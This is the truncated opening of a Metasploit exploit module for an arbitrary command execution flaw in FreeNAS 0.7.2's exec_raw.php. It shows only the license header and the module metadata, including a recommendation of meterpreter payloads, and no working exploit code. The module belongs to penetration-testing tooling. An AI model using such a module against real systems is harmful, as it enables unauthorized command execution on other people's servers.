##
# $Id: freenas_exec_raw.rb 11015 2010-11-12 23:14:46Z jduck $
###

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeNAS exec_raw.php Arbitrary Command Execution.',
			'Description'    => %q{
					This module exploits an arbitrary command execution flaw
				in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
				to the exec_raw.php page, an attacker may be able to execute arbitrary
				commands.

				NOTE: This module works best with php/meterpreter payloads.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11015